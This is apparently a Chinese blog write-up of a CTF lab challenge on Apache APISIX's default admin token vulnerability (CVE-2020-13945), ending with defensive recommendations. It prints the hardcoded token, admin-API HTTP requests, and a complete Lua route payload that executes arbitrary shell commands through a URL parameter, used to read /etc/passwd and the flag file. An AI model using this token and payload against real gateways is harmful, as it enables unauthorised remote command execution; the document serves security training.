某靶场CTF题目:利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag

某靶场CTF题目:利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag

在最近的CTF靶场练习中,我遇到了一道关于API网关安全的题目,考察的是Apache APISIX的默认Token漏洞(CVE-2020-13945)。本文将详细记录我的解题过程,分享如何从零开始识别并利用这个漏洞最终获取flag。

题目信息

靶标介绍:

Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token。攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。

目标地址
be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

解题过程

第一步:初始探测

访问目标地址,得到如下响应:

json 复制代码
{"error_msg":"404 Route Not Found"}

这个响应告诉我们:

  1. 服务正常运行
  2. 没有配置默认路由
  3. 很可能是Apache APISIX网关(根据题目描述确认)

第二步:识别漏洞

回忆常见的APISIX漏洞,CVE-2020-13945浮现在脑海:

  • Apache APISIX在使用默认配置时,会使用硬编码的管理员Token
  • 默认Token为edd1c9f034335f136f87ad84b625c8f1
  • 通过这个Token可以访问管理API创建恶意路由

第三步:验证漏洞存在

使用Burp Suite构造管理API请求:

  1. 发送一个简单的GET请求到管理接口:
http 复制代码
GET /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

如果返回403,说明Token错误;如果返回200或404,说明Token有效。

  1. 尝试创建测试路由:
http 复制代码
POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json

{
    "uri": "/test",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

成功创建路由验证了漏洞存在!

第四步:构造攻击载荷

为了获取flag,我需要执行系统命令查看服务器上的文件。构造如下恶意路由:

http 复制代码
POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 411

{
    "uri": "/attack",
    "script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "httpbin.org:80": 1
        }
    }
}

这个载荷创建了一个/attack路由,它会执行通过URL参数cmd传入的系统命令。

第五步:执行命令寻找flag

  1. 首先检查当前用户权限:

    GET /attack?cmd=cat /etc/passwd HTTP/1.1
    Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

返回结果如下图:

  1. 查找flag文件(通常位于/root或/home或者/tmp目录):

发现flag位于/tmp/flag.txt

  1. 读取flag内容:

    GET /attack?cmd=cat /tmp/flag.txt HTTP/1.1
    Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

成功获取flag!

  1. 提交成功

第六步:清理痕迹(可选)

在真实渗透测试中,记得删除创建的路由:

http 复制代码
DELETE /apisix/admin/routes/00000000000000000016 HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

漏洞原理深度分析

这个CTF题目考察的是CVE-2020-13945漏洞,其核心问题在于:

  1. 硬编码凭据:APISIX默认配置中包含固定的管理员Token
  2. 权限设计缺陷:管理API没有默认的访问控制限制
  3. 脚本注入:路由配置允许直接执行LUA代码且无安全过滤

攻击链如下:

复制代码
默认Token → 访问管理API → 创建恶意路由 → LUA脚本注入 → RCE

防御建议

针对此类漏洞的防御措施:

  1. 修改默认配置:部署时必须更改所有默认凭据
  2. 网络隔离:管理接口不应暴露在公网
  3. 输入过滤:对LUA脚本进行严格的沙箱限制
  4. 最小权限:服务账户使用最低必要权限

总结

通过这道CTF题目,我们学习了:

  1. 如何识别Apache APISIX的默认配置漏洞
  2. 利用管理API创建恶意路由的技巧
  3. 通过LUA脚本注入实现RCE的方法
  4. 在CTF中寻找flag的系统性思路

这类题目在现实中也很有意义,提醒我们始终要修改默认凭据,加强API网关的安全配置。希望这篇writeup对大家今后的CTF比赛和实际安全工作有所帮助!

相关推荐
一名优秀的码农5 天前
vulhub系列-14-Os-hackNos-1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
努力的lpp5 天前
SQLMap CTF 常用命令全集
数据库·web安全·网络安全·sql注入
努力的lpp5 天前
SQL 报错注入
数据库·sql·web安全·网络安全·sql注入
岛屿旅人5 天前
2025年中东地区网络安全态势综述
网络·安全·web安全·网络安全
努力的lpp5 天前
【ctf常用备用文件名字典】
web安全·网络安全·ctf
james的分享5 天前
大数据领域核心 SQL 优化框架Apache Calcite介绍
大数据·sql·apache·calcite
莫寒清5 天前
Apache Tika
java·人工智能·spring·apache·知识图谱
Mikowoo0075 天前
渗透测试_漏洞利用
网络安全
归叶再无青5 天前
web服务安装部署、性能升级等(Apache、Nginx)
运维·前端·nginx·云原生·apache·bash
啥都想学点5 天前
pikachu靶场——Cross-Site Scripting-1(Kali系统)
网络安全